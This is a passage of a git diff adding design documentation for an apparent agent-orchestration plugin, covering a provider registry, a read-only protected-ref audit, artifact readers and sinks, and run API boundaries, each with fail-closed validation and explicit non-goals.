restart reattach, live progress, and detailed events throw + `unsupported_capability` when declared unsupported. +- Same-session reply `unsupported_unresolved_attention` must not invent a + continuation. +- Merge, push, create-PR, fallback, replay, credentials, and direct-mode + keys keep the P02 forbidden-class codes. +- Exact provider, model, workspace, run, request, branch, and base + identities are caller-supplied, validated through P17, frozen, and never + substituted. + +## Real-transport qualification + +Mocks never prove a live route. + +| Evidence class | What it may prove | What it must not claim | +| --- | --- | --- | +| Required contract | P17 surface, identity echo, no replay | Any provider is reachable | +| Supported capability | Declared feature behaves as declared | The feature works on a real host | +| Unsupported closure | Honest denial, no fallback | A missing feature is implemented | +| Real-transport qualification | Live spawn, events, cancel, reattach, terminal | — this kit does not produce it | + +`runFutureHarnessConformanceKitV1` always returns +`live_transport_qualification: false`. Passing the kit, the inert template, +or a scripted double is mock/conformance evidence only. Grok, Cursor Local, +Cursor Cloud, and DSH live qualification remain later, separate lanes after +those adapters are accepted. + +The template launches no process, opens no network, reads no clock or random +source, and stores no credentials. Future harnesses that add a transport must +inject that transport and qualify it with real-route evidence outside P22. diff --git a/docs/future-work.md b/docs/future-work.md index 9bf116f..b26d5c4 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-25 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -15,9 +15,122 @@ identity, with deterministic explicit/profile resolution, no direct mode on run submissions, disjoint writers, read-only verification, no post-dispatch fallback or replay, and Codex-only final acceptance. +The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a +pure contract and provider-agnostic conformance harness. It validates +preflight/launch/reconcile/cancel requests and results against the +accepted P05 13-field capability bridge. + +The P18 Grok ACP adapter is in-tree as a Grok-specific binding of that +contract onto an injected bounded ACP transport. It hard-binds provider +`grok`, the exact selected model, exact ChildEnvelopeV1 text+digest, local +managed-worktree/run-base semantics, and no merge/PR authority. Launch +confirms only after an authoritative ACP acknowledgement; post-spawn +loss is `dispatch_uncertain` and is never replayed. The P20 DSH adapter +(`DshApxDriverV1`) drives the contract over an injected bounded ACPX +one-shot transport port for Muse Spark 1.2 Contributor and Ox Alpha, +with honest post-spawn uncertainty, unsupported same-session reply, +bounded recorded-evidence reconcile/restart/cancel behavior, and +fail-closed identity/correlation drift denials. Neither adapter's +deterministic transport port substitutes for the remaining real +lifecycle routes documented in `docs/dsh-acpx-driver.md`. + +The P28 `GitAuthorityPolicyV1` is in-tree as a pure authority-seam +policy: protected/default refs, the allowed task-branch namespace, +credential-free repository identity, and denied merge/push/create-PR/ +tag/release operations. It does not mutate Git, isolate credentials +(P29), or audit live refs (P30). + +The P30 `ProtectedRefAuditV1` is in-tree as a read-only live comparison of +declared protected/default refs against immutable expected identities. It +consumes accepted P28 classification and P29 inspect-environment / +remote-mutation denial without wrapping them. Local, bare, and +linked-worktree layouts, packed vs loose storage, symbolic/aliased refs, +and snapshot races are covered with content-free evidence. It does not +mutate refs, worktrees, indexes, or config; it does not materialize +credentials or access remotes; it does not expose an API, run +orchestration, release, or Gate A authority. See +[protected-ref-audit.md](protected-ref-audit.md). + +The P31 run dispatch orchestration boundary is in-tree as an additive +v3 module. It binds accepted P26 preflight to accepted P29 closed +credential/environment projection before any workspace, branch/ref, +reservation, dispatch, credential handoff, or provider process exists. +Preflight failure and capacity denial fail closed with zero side +effects. Successful dispatch preserves provider isolation, cleanup on +failure/cancel/terminal/restart, content-free errors, and denied remote +mutation. It does not implement P30 live-ref audit, public API, +supervisor/server cutover, workspace provisioning, or Gate A. The +separate supervisor false-success reliability issue is unchanged. + +The P11 local provider result sink is in-tree as an additive +provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH +ACPX/CLI output is published through the accepted P09 sanitizer and P08 +store, with a P10-derived sanitized inline tail. It does not implement +P13 evidence bundles, supervisor/server MCP registration, cleanup, or +run runtime. `acp-worker.mjs` is the only serialized seam; 3.2.1 +`task.result` bounding is unchanged. Ambient umask variance +for P08 store-root `mkdtemp` privacy is recorded here and is not +runtime-changed: P11 fixtures `chmod 0700` after creating their own +roots and do not include optional P08 umask test-fixture +determinization. + +The P23 provider registry (`mcp/v3/provider-registry.mjs`) now composes +the four accepted adapters behind one closed, deterministic composition +authority; see `docs/provider-registry.md`. Supervisor/server cutover onto +that registry, real-route qualification, scheduler, durable store, P12 +evidence bundles, cloud-worker sinks, cleanup, run runtime, and +`AttentionBatchV1` remain later work. Gate A remains the functional +release authority; Gate B context-efficiency and Gate C credit economics +stay advisory. This worktree does not implement the run runtime, candidate composition, -or `AttentionBatchV1`. Gate A remains the functional release authority; -Gate B context-efficiency and Gate C credit economics stay advisory. +or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner +loader, the P16B approved-command resolver, and the P16C constrained +verification runner exist as additive v3 modules. The runner is not wired +into the MCP server, supervisor, or scheduler. Gate A remains the +functional release authority; Gate B context-efficiency and Gate C credit +economics stay advisory. + +A library-only durable run store now accepts an existing private directory +and persists identity-bound, idempotent submission records. It does not +implement the rest of the run runtime: there is no atomic journal or +reducer, scheduler, provider dispatch, workspace provisioning, cleanup, +candidate composition, `AttentionBatchV1`, or MCP wiring. Gate A remains +the functional release authority; Gate B context-efficiency and Gate C +credit economics stay advisory. + +The P12 Cursor Cloud result source is in-tree as additive result-source +materialization: provider-reported output/status and independently +observed Git evidence are stored as distinct typed P09/P10 sources. The +cloud-worker result seam is the only serialized integration. It does not +dispatch live Cloud runs, cut over scheduler/store/supervisor, mutate +Git, or create PRs. + +Cursor Local and Cursor Cloud live-transport qualification, registry +cutover, scheduler, durable store, P13 evidence bundles, cleanup, run +runtime, and `AttentionBatchV1` remain later work. Gate A remains the +functional release authority; Gate B context-efficiency and Gate C +credit economics stay advisory. + +Library-only P24/P25 run persistence now accepts an existing private +directory, persists identity-bound idempotent submission records, and +appends a hash-chained per-run event journal with a deterministic +terminal-absorbing reducer and run-bound cursors. A separate R24A +aggregate pre-dispatch run anchor accepts its own existing private root +marked `storage-root.v1` kind `aggregate_run_anchor`, binds identity with +durable claims before run directories, and publishes full selection +request/reply/resolved-plan records before absorbing coordination +references; it does not migrate or write into P24/P25. R25B is only the +binding bridge that can open the existing P25 journal against that exact +R24A identity after `resolution_ready`, using stamp v2 and distinct +aggregate entrypoints; it does not add event kinds, a second run lock, +scheduler, provider, workspace, server, or MCP wiring, and it never +migrates or cross-opens legacy P24/P25 state. None of these library layers +implement the rest of the run runtime: there is no scheduler, provider +dispatch, workspace provisioning, cleanup, candidate composition, +`AttentionBatchV1`, supervisor/server journal wiring, or MCP surface above +the library layer. +Gate A remains the functional release authority; Gate B context-efficiency +and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/protected-ref-audit.md b/docs/protected-ref-audit.md new file mode 100644 index 0000000..8edc56d --- /dev/null +++ b/docs/protected-ref-audit.md @@ -0,0 +1,116 @@ +# Live protected-ref audit (P30) + +The P30 live protected-ref audit is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs`. It compares +declared protected and default refs against immutable expected identities +on the host. It does not mutate Git, materialize credentials, talk to a +remote, expose an API, dispatch a run, or claim Gate A / release +authority. + +## Read-only comparison + +`auditProtectedRefsV1(request, options?)` observes the local repository +and returns a detached, deeply frozen receipt. A passing audit and a +failing audit both leave the repository byte-identical: the same files, +the same refs, the same index, and the same config. The only process +spawns are argv-only git observations (`rev-parse`, `for-each-ref`) under +the accepted P29 inspect environment with `--no-replace-objects +--no-optional-locks`, disabled hooks/fsmonitor/untracked-cache, so even +advisory lock files cannot appear as an observation side effect. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs` +- `plugins/codex-co-engineer/test/r1-protected-ref-audit.test.mjs` +- `plugins/codex-co-engineer/test/r1-protected-ref-audit-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs` +- this document + +## Declared protected and default refs + +The request names the credential-free P28 identity and an explicit list of +`{ref, sha}` expected identities. Every declared ref must be a P28 +protected or default ref (`classifyRefV1` / `isProtectedRefV1`). Worker +lane refs, unclassified grammar, and hostile names fail closed before any +git process starts. Expected SHAs are exact 40-character lowercase hex +object identities. + +The live snapshot records, for each declared ref, a content-free +comparison: + +| Outcome | Meaning | +| --- | --- | +| `match` | observed object name equals the expected SHA | +| `missing_ref` | declared ref is absent | +| `moved_ref` | declared ref exists but points at a different object | +| `symbolic_ref` | declared ref is a symbolic ref | +| `aliased_ref` | declared ref is an alias or filesystem symlink | +| `packed_ref` | storage class: the matching or mismatched ref is packed, not loose | +| `race_detected` | the two read-only snapshots disagreed | + +Packed storage is evidence, not a failure: a packed protected ref that +still matches its expected SHA verifies. Missing, moved, symbolic, +aliased, hostile, and raced refs fail the receipt. + +Repository kinds covered by the same comparison: local worktrees, bare +repositories, and linked worktrees. Replace refs, grafts, and shallow +files fail closed because object identity would no longer be exact. + +## Content-free evidence + +Receipts and typed errors never echo repository paths, URLs, credentials, +provider text, or hostile refs. Findings carry closed codes, P28 +`ref_class`, a storage class, and booleans only. Verified and failed +receipts both project one P13 `git_identity` fact with method +`protected_ref_snapshot_compare` and authority `platform_git`. Failures +add one P13 `security` discrepancy (`security_boundary`), matching the +accepted P28 evidence projection. + +The receipt also carries an all-false side-effect nonclaim map: +`ref_mutated`, `worktree_mutated`, `index_mutated`, `config_mutated`, +`remote_mutated`, `credentials_accessed`, `packed_refs_rewritten`. + +## Composition + +P30 consumes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Protected/default classification, lane namespace, operation authority | P28 `git-authority.mjs` | `parseGitAuthorityPolicyV1`, `classifyRefV1`, `isProtectedRefV1`, `classifyGitOperationV1` | +| Closed inspect environment and remote-mutation denial | P29 `credential-boundary.mjs` | `GIT_INSPECT_ENV`, `denyWorkerRemoteMutation` | +| Evidence records | P13 `evidence-bundle.mjs` | `parseVerifiedFactV1` / `parseEvidenceDiscrepancyV1` | +| API, run orchestration, credential files, release, Gate A | later slices | not invoked | + +P28 remains the authority-policy seam. P29 remains the credential and +remote-mutation isolation boundary. This module does not wrap either, does +not load credential files, and does not grant merge, rebase, push, PR, +tag, or protected-ref write authority. `read_only_inspect` is the only +accepted operation. + +## Non-goals + +No ref, worktree, index, or config mutation. No remote credential access. +No credential materialization. No GitHub, merge, rebase, push, PR, tag, +or protected/default-ref authority. No public API, run orchestration, +release, or Gate A scope. + +## API + +- `parseProtectedRefAuditRequestV1(request)` — quarantines the request and + binds P28 classification without observing Git. +- `auditProtectedRefsV1(request, options?)` — async; returns a detached, + deeply frozen receipt. `options` may inject `spawn` (test seam). +- `describeProtectedRefAuditV1()` — deterministic deep-frozen inventory of + the schema, bounds, checks, error codes, and nonclaims. +- `PROTECTED_REF_AUDIT_SCHEMA_ID`, `PROTECTED_REF_AUDIT_VERSION`, + `MAX_AUDIT_REFS`, `PROTECTED_REF_AUDIT_FINDING_CODES`, + `PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS`, + `PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS`, + `PROTECTED_REF_AUDIT_ERROR_CODES`. + +## Testing + +``` +node --no-warnings --test test/r1-protected-ref-audit.test.mjs \ + test/r1-protected-ref-audit-adversarial.test.mjs +``` diff --git a/docs/provider-registry.md b/docs/provider-registry.md new file mode 100644 index 0000000..7608b10 --- /dev/null +++ b/docs/provider-registry.md @@ -0,0 +1,103 @@ +# Provider registry — closed composition authority (P23) + +The P23 provider registry is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/provider-registry.mjs`. It is the +deterministic, closed composition authority behind provider selection: the +one place where the accepted `ProviderDriverV1` adapters are registered and +composed. It owns only that seam. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/provider-registry.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry.test.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs` + +## Registered surfaces + +Exactly four provider slots exist, in the frozen P02 grammar order +(`grok`, `cursor-local`, `cursor-cloud`, `dsh`). The slot vocabulary is +re-derived on every read from the accepted P02 grammar leaf +(`knownProvidersList()`), so the registry cannot drift from the closed +provider set: + +| Slot | Accepted adapter | Composition seam | +| --- | --- | --- | +| `grok` | P18 `grok-acp-driver.mjs` | `bindGrokAcpDriverV1` (transport property) | +| `cursor-local` | P19 `cursor-local-driver.mjs` | `createCursorLocalDriverV1` (options bag) | +| `cursor-cloud` | P21 `cursor-cloud-driver.mjs` | `bindCursorCloudDriverV1` (transport property) | +| `dsh` | P20 `dsh-acpx-driver.mjs` | `createDshApxDriverV1` (options bag) | + +The P22 future-harness template and conformance kit +(`provider-driver-template.mjs`, `future-harness.mjs`, +`provider-driver-conformance.mjs`) are inventoried as +mock/conformance evidence with `provider_slot: null`. They are never a +fifth provider, never selectable, and never composable through this +surface; passing the kit still proves no live transport. + +## Closed invariants + +- **Closed vocabulary.** Four slots, fixed at module load, frozen, and + re-derived from the P02 grammar. Runtime growth is impossible. +- **Deterministic selection.** `resolveRegistrySelectionV1` maps an exact + `{provider, model}` pair onto exactly one entry with rule + `exact_closed_slot_no_fallback`: no preference walk, no substitution, no + fallback, no retry, and no replay. Where the accepted adapter owns a + closed model list (`dsh`), selection enforces membership against that + accepted frozen constant; where an adapter owns a model grammar, the + adapter stays the sole model authority. No vocabulary is widened. +- **One factory per slot.** `registryComposeFunctionV1(slot)` returns the + exact accepted factory object; `composeProviderDriverV1(slot, options)` + delegates to it after a content-free quarantine and returns its value + untouched. There is no wrapper layer, so adapter lane stores, evidence + maps, and identity binding keep their accepted semantics. +- **No ambient discovery.** The module performs no filesystem, environment, + PATH, network, clock, random-source, process, or dynamic-import access at + load or call time. Registration is static imports of accepted modules. +- **Content-free failure.** Hostile providers, selections, and options — + live or revoked Proxies, accessors, symbols, non-enumerable properties, + exotic prototypes, unknown keys — fail closed with typed + `RunContractV1Error`s whose codes, paths, and messages are fixed + templates. Provider gating happens before any option byte is read, and + getters and proxy traps never execute. +- **Accepted claims are quoted, not restated.** Inventory data is projected + from each accepted module's own exported describe surface into detached + frozen clones, so no parallel capability schema exists. + +## Non-goals + +No supervisor, server, scheduler, or durable-store cutover; no live +transport qualification for any provider; no merge/PR authority; no direct +mode; no ambient discovery; no fallback, replay, retry, or fifth operation; +no version change (3.2.1 legacy receipts and behavior are untouched). The +supervisor/run-runtime cutover onto this registry remains later work under +`docs/future-work.md`. + +## API + +- `describeProviderRegistryV1()` — deterministic deep-frozen inventory: + schema/version, slots, per-slot entries (adapter schema id, compose + function name, option contract, model rule, accepted adapter surface), + the P22 evidence section, and explicit all-false nonclaims. +- `registrySlotsV1()` / `PROVIDER_REGISTRY_SLOTS` — fresh frozen / + snapshot copies of the closed slot order. +- `isRegistrySlotV1(provider)` / `requireRegistrySlotV1(provider)` — + boolean membership / typed exact-slot requirement. +- `registryEntryV1(provider)` — frozen inventory entry for one slot. +- `resolveRegistrySelectionV1({provider, model})` — pure deterministic + selection plan; constructs nothing. +- `registryComposeFunctionV1(provider)` — the exact accepted factory. +- `composeProviderDriverV1(provider, options)` — quarantined composition + through the accepted factory. + +## Testing + +``` +node --no-warnings --test test/r1-provider-registry.test.mjs \ + test/r1-provider-registry-adversarial.test.mjs \ + test/r1-provider-registry-integration.test.mjs +``` + +From `plugins/codex-co-engineer`. The integration file composes every +accepted driver exclusively through the registry and drives preflight, +launch, reconcile, and cancel with exact identity echo. diff --git a/docs/r1-artifact-reader.md b/docs/r1-artifact-reader.md new file mode 100644 index 0000000..eac86c6 --- /dev/null +++ b/docs/r1-artifact-reader.md @@ -0,0 +1,70 @@ +# Bounded sanitized artifact reader (P10) + +Additive v3 contract over the accepted P08 artifact store. The reader is +the model-facing way to fetch a **bounded range** of an already-published +**sanitized** `ArtifactRefV1`. It does not sanitize, does not read raw +evidence, and does not change publish/verify/audit. + +## Entry + +```js +readSanitizedArtifactV1(store, artifactRef, options?) +``` + +- `store` is a handle from `openArtifactStoreV1`. +- `artifactRef` is an exact ten-key sanitized `ArtifactRefV1`. Raw class is + denied before any artifact I/O. +- `options` is omitted, or a direct JSON object with only: + - `offset` — intrinsic safe integer in `0..262144` (default `0`) + - `max_bytes` — intrinsic safe integer in `0..8192` (default `8192`) + +Proxies, accessors, symbol keys, exotic prototypes, and unknown keys fail +closed with the same typed vocabulary as P07/P08. + +## Caps + +| Cap | Value | Role | +| --- | ---: | --- | +| Range | 8192 bytes | Maximum selected artifact bytes retained from the stream | +| Wire | 12288 bytes | Maximum `JSON.stringify` size of one reader page | +| Sanitized class | 262144 bytes | Stored artifact size (P07); the reader never returns this whole | + +The store hashes the **entire** artifact in 128 KiB chunks and copies only +the requested window into an 8192-byte-or-smaller buffer. A whole-file +buffer is never allocated. If the serialized page would exceed the wire +cap, the selected window is shortened until it fits. + +## Page + +Successful results are deep-frozen, detached, and JSON-safe. Selected +bytes are always `selected_encoding: "base64"` so a range that splits a +UTF-8 sequence stays well-formed JSON. + +Clipping vs truncation: + +- `reader_clipped` is `true` only when the reader/wire caps returned fewer + bytes than `min(max_bytes, remaining sanitized bytes)`. +- `more` / `next_offset` describe paging through the **sanitized** artifact. +- `upstream_truncated`, `complete`, `source_byte_length`, + `redaction_count`, and `sanitizer_version` are **unknown** until P09 + provenance exists. They are emitted as `null`, never as `false` or `0`. + +## Fail-closed I/O + +One serialized store operation: + +1. Reopen the private root without following links and structurally audit. +2. No-follow open the regular single-link content file and its sidecar. +3. Require the sidecar snapshot to equal the requested sanitized ref. +4. Hash every byte, retain only `[offset, offset+take)`, and re-stat. +5. Deny digest/length mismatches, same-size tampers, sidecars that + disagree with the ref, symlinks, hardlinks, FIFOs/devices, torn + publications, and mid-read identity changes. + +Errors are `RunContractV1Error` values with stable codes. They never echo +artifact bytes, the store root, a derived path, or an OS error string. + +## Non-goals + +P09 sanitization, ArtifactRef schema changes, MCP registration, provider +sinks, cleanup, supervisor/server wiring, and P11/P12 remain unclaimed. diff --git a/docs/r1-local-provider-result-sink.md b/docs/r1-local-provider-result-sink.md new file mode 100644 index 0000000..dfdb976 --- /dev/null +++ b/docs/r1-local-provider-result-sink.md @@ -0,0 +1,90 @@ +# Local provider result sink (P11) + +Additive v3 contract over the accepted P09 sanitizer, P08 store, and P10 +sanitized reader. It routes **final** local Grok ACP, Cursor Local ACP, and +DSH ACPX/CLI provider output into raw+sanitized artifact storage through +one provider-neutral sink. It does not replace 3.2.1 +`task.result` / `result_*` bounding. + +## Entry + +```js +sinkLocalProviderResultV1(store, options) +``` + +- `store` is a handle from `openArtifactStoreV1` (or + `openLocalProviderArtifactStoreV1` under a state root). +- `options` is a direct JSON object with only: + - `run_id`, `assignment_id`, `provider`, `model` — exact identity + - `child_envelope_digest` — optional lowercase 64-hex digest + - `source` — string, JSON value, intrinsic Buffer/Uint8Array, or async + iterable of string/byte chunks + - `source_truncated` — optional exact boolean + - `media_type` — optional identity-encoded text media type + +Local providers only: `grok`, `cursor-local`, `dsh`. Cursor Cloud is +denied. Identities are never guessed from `task.id`. The ArtifactRef +relative path is +`runs/{run_id}/{assignment_id}/{provider}/{identity_binding}/provider-report.{ext}`, +where `identity_binding` is the SHA-256 of length-prefixed provider, +model, and optional child-envelope digest, so two identities cannot +share a path or ref. + +## Publication + +The sink snapshots the complete transport-available source up to the +existing raw class cap (32 MiB) and publishes through +`sanitizeAndPublishArtifactV1`. Older output is never silently dropped. +Crossing a class cap fails closed rather than clipping toward the cap. If +the upstream/transport was already clipped, available bytes are stored and +`source_truncated` / `complete` are recorded truthfully. + +Empty sources are not published and do not invent an artifact. A +publication that does not verify is not reported. + +Only sanitized artifacts are model-readable. The return is detached +deep-frozen content-free metadata: raw/sanitized `ArtifactRefV1` values, +P09 provenance, digests, redaction counts, truncation, and the inline +tail. Never raw bytes, secrets, prompt text, store roots, or live handles. + +## Inline tail + +After verify, the sink reads the sanitized artifact through +`readSanitizedArtifactV1` and retains at most 4,096 UTF-8 bytes from the +end, aligned on a valid UTF-8 boundary. + +- `inline_clipped` is true when the inline window is shorter than the + sanitized artifact. +- `source_truncated` / `complete` are the P09 provenance facts, never + inferred from the tail length. +- `reader_clipped` is the P10 range/wire fact. + +No secret may appear in the tail: split-token and chunk-boundary redaction +remain P09's. + +## Worker seam + +`acp-worker.mjs` is the only serialized integration. It publishes the +legacy bounded `task.result` first, then attaches optional +`provider_result_sink` metadata. Sink failure after provider terminal is +typed content-free evidence with a closed code/path and a generic +bounded message; it does not invent completion, change provider status, +or replay work. Tasks without exact run/child/model identity keep the +3.2.1 path unchanged. + +Failed, cancelled, or other non-success ACP turns never publish +accumulated partial text as complete. Collector overflow at the raw +class cap is handled inside `attachLocalProviderResultSink` with typed +content-free nonpublication evidence and does not rewrite the provider +terminal. + +Provider completion remains evidence, never acceptance. + +## Non-goals + +P13 evidence bundles, supervisor/server MCP registration, P18/P20 +transports, cleanup, scheduler, and protected refs remain unclaimed. +P12 Cursor Cloud result-source materialization is a separate module. This module does not edit `task-store.mjs`. Ambient +umask variance for P08 store-root fixtures is recorded in +[future-work.md](future-work.md); P11 fixtures chmod `0700` after +creation and do not change process umask. diff --git a/docs/run-api-boundary.md b/docs/run-api-boundary.md new file mode 100644 index 0000000..8070f63 --- /dev/null +++ b/docs/run-api-boundary.md @@ -0,0 +1,115 @@ +# Run API boundary (P32) + +The P32 run API boundary is one additive v3 adapter, +`plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs`. It validates and +projects already-produced accepted P30 protected-ref audit receipts and P31 +run-orchestration receipts into a detached, deeply frozen, content-free +`RunApiBoundaryV1` result. + +## Values only + +`projectRunApiBoundaryV1(input)` consumes JSON values. It does not call P30 +audit functions, P31 prepare/dispatch/cancel/restart functions, Git, +filesystem, process, network, provider, credential, handoff, workspace, +reservation, supervisor, server, or release mechanisms. A later API or +release layer may read the projection; this adapter does not expose a +public MCP tool, change the supervisor, execute commands, decide a +release, claim Gate A, or mutate a remote. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs` +- `plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs` +- this document + +## Closed paired projection + +The request names the adapter schema/version, a credential-free run/base +identity, one P30 receipt, and either one P31 receipt or one P31/P26 +denial object. An optional P31 lifecycle object may accompany a receipt. +Matching `run_id`, `base_sha`, declared `assignment_id`, and declared +provider are bound without broadening either upstream authority. Missing, +mismatched, duplicated, aliased, unknown-key, cyclic, accessor, Proxy, +exotic-prototype, and hostile collection inputs fail closed. + +The result projects only closed status, check, fact, discrepancy, and +lifecycle summaries: + +| Overall status | Meaning | +| --- | --- | +| `ready` | P30 verified and P31 receipt is clean; lifecycle is absent, cleaned, or a live restart | +| `failed` | P30 receipt is failed, carries failing ref-drift findings, or records a `moved_ref`, `missing_ref`, `symbolic_ref`, or `aliased_ref` comparison | +| `denied` | P31/P26 failed-preflight or capacity-denied input | +| `unresolved` | P31 lifecycle is not clean | + +A failed or ref-drift audit remains `failed`, including a verified P30 +receipt whose comparisons still record `moved_ref`, `missing_ref`, +`symbolic_ref`, or `aliased_ref`. A prepared P31 receipt, or a lifecycle +attached to one, that claims `task_dispatched` or +`provider_process_started` fails closed. A non-clean lifecycle remains +`unresolved`. The adapter does not upgrade, normalize away, or reinterpret +upstream negative evidence. Nested P30 and P31 statuses stay as supplied. + +## Content-free evidence + +Results and typed errors never echo credential values, environment values, +argv, raw errors, absolute paths, handoff paths, Git/SSH/hosting data, +arbitrary provider text, object inspection output, or caller-controlled +diagnostic prose. Nested P26 repository paths, git directories, lane +handoff identities, and projected key names are accepted as upstream +schema and then dropped. + +The result also carries an all-false adapter side-effect nonclaim map: +`audit_executed`, `orchestration_executed`, `git_invoked`, +`filesystem_invoked`, `process_invoked`, `network_invoked`, +`provider_invoked`, `credentials_accessed`, `env_accessed`, `argv_accessed`, +`handoff_accessed`, `workspace_created`, `reservation_held`, +`remote_mutated`, `supervisor_cutover`, `public_api_exposed`, +`release_decided`, `gate_a_claimed`. + +## Composition + +P32 consumes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Live protected-ref audit receipt | P30 `protected-ref-audit.mjs` | schema/version/status/finding/fact/discrepancy vocabulary; functions are not called | +| Run orchestration receipt, denial, lifecycle | P31 `run-orchestration.mjs` | schema/version/status/intent/lane/side-effect/cleanup vocabulary; functions are not called | +| Preflight nested receipt and denial codes | P26 `run-preflight.mjs` | nested ready receipt and fail-closed codes; `validateRunPreflightV1` is not called | +| Protected/default classification | P28 | comparison `ref_class` vocabulary only | +| Credential isolation | P29 | not invoked; credential values never appear | +| API, supervisor/server, release, Gate A | later slices | not invoked | + +P30 remains the live-ref audit seam. P31 remains the dispatch +orchestration seam. This module does not wrap either, does not grant +merge, rebase, push, PR, tag, or protected-ref write authority, and +records remote mutation as denied. + +## Non-goals + +No audit execution. No prepare, dispatch, cancel, restart, or cleanup +execution. No Git, filesystem, process, or network invocation. No +credential, environment, argv, or handoff access. No workspace, +reservation, supervisor/server cutover, public MCP tool, release, or +Gate A authority. + +## API + +- `projectRunApiBoundaryV1(input)` — pure; returns a detached, deeply + frozen result or throws a typed content-free `RunContractV1Error`. +- `describeRunApiBoundaryV1()` — deterministic deep-frozen inventory of + the schema, bounds, checks, error codes, nonclaims, and composed + surfaces. +- `RUN_API_BOUNDARY_SCHEMA_ID`, `RUN_API_BOUNDARY_VERSION`, + `RUN_API_BOUNDARY_STATUSES`, `RUN_API_BOUNDARY_CHECKS`, + `RUN_API_BOUNDARY_ERROR_CODES`, + `RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS`. + +## Testing + +``` +node --no-warnings --test test/r1-run-api-boundary.test.mjs \ + test/r1-run-api-boundary-adversarial.test.mjs +``` diff --git a/docs/run-artifact-bridge.md b/docs/run-artifact-bridge.md new file mode 100644 index 0000000..22efbc9 --- /dev/null +++ b/docs/run-artifact-bridge.md @@ -0,0 +1,142 @@ +# Run artifact bridge (P33) + +P33's artifact bridge is the identity-and-audience authority between +owner-only raw evidence and bounded sanitized model-facing projections. +It does not own the P08 store, P09 sanitizer, P13 evidence bundle, run +runtime, scheduler, lifecycle, server, or candidate composer. Those seams +are injected. It does not claim Gate A or release. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-artifact-bridge.mjs` +- `plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs` +- this document + +## Factory + +```js +createRunArtifactBridge({ rawStore, sanitizer, evidenceBundle, clock }) +``` + +The options object has exactly those four keys. Extra keys, proxies, +accessors, and missing methods fail closed. The return is a frozen object +with exactly: + +- `captureAssignmentArtifacts` +- `projectAssignmentArtifacts` +- `cleanupRunArtifacts` + +`clock.now()` must return a UTC second-precision timestamp +(`YYYY-MM-DDTHH:MM:SSZ`). + +## Injected seams + +| Seam | Required methods | Role | +| --- | --- | --- | +| `rawStore` | `publish`, `get`, `list`, `remove` | Owner-only raw `ArtifactRefV1` bytes | +| `sanitizer` | `sanitize` | Bound sanitized projection plus redaction counts | +| `evidenceBundle` | `append`, `list` | Content-free capture/projection/cleanup events | +| `clock` | `now` | Deterministic timestamps | + +The bridge never imports those implementations. Tests use scoped in-memory +stubs. A later runtime lane may inject the accepted P08/P09/P13 authorities. + +Raw store records are `{ artifact_ref, bytes }` and may round-trip +capture provenance `source_truncated`. Missing provenance is unknown. +`list({ run_id })` must return only that run; a foreign `run_id` fails +closed and prevents cleanup. + +`sanitize({ artifact_ref, source, source_truncated })` must return a +sanitized-class `ArtifactRefV1` for the same run, assignment, kind, and +path, plus detached `bytes` that hash to that ref. A raw-class result is +denied. Credential patterns in those bytes fail closed. + +## Capture + +`captureAssignmentArtifacts` is the owner-only write path. Required keys: + +`run_id`, `assignment_id`, `artifact_kind`, `relative_path`, `media_type`, +`source`. + +Optional keys: `content_encoding` (must be `identity`) and +`source_truncated`. + +`source` is a string or an intrinsic `Buffer`/`Uint8Array`. Empty or +over-cap sources fail. The relative path must be a P07 portable path and +must stay under `runs///`. Path authority cannot +broaden to another run, a parent segment, a worktree, or a candidate ref. + +The raw ref is published through `rawStore.publish` and re-read before the +receipt is returned. Readback is bound to the captured bytes: the stored +payload is hashed and must match the captured digest and identity. A +hash mismatch, substituted payload, partial read, missing bytes, or stale +artifact fails closed. The sanitizer is asked for the matching sanitized +ref. The receipt is detached and frozen. It carries raw and sanitized +refs, redaction metadata, truncation/completeness, and `created`. It +never includes source bytes, store roots, or live handles. Missing +sanitizer redaction or version evidence is `null`, never `0` or `1`. + +An identical digest at the same identity is a restart replay +(`created: false`) and does not duplicate storage. A different payload at +that identity is `artifact_bridge_restart_conflict` and leaves the original +bytes in place. + +## Projection + +`projectAssignmentArtifacts` is the model-facing read path. Required keys: + +`run_id`, `assignment_id`. + +Optional keys: `offset` (default `0`) and `max_bytes` (default and maximum +`8192`). + +The bridge lists that assignment's raw artifacts, re-sanitizes each one, +and returns only sanitized refs plus a base64 selected window. Raw class, +raw bytes, credentials, prompt text, and store roots are absent. A +credential pattern that survives the sanitizer fails closed rather than +being projected. + +Projection preserves authoritative `redaction_count`, `sanitizer_version`, +`source_truncated`, and `complete` when the sanitizer supplies them. +Missing values stay 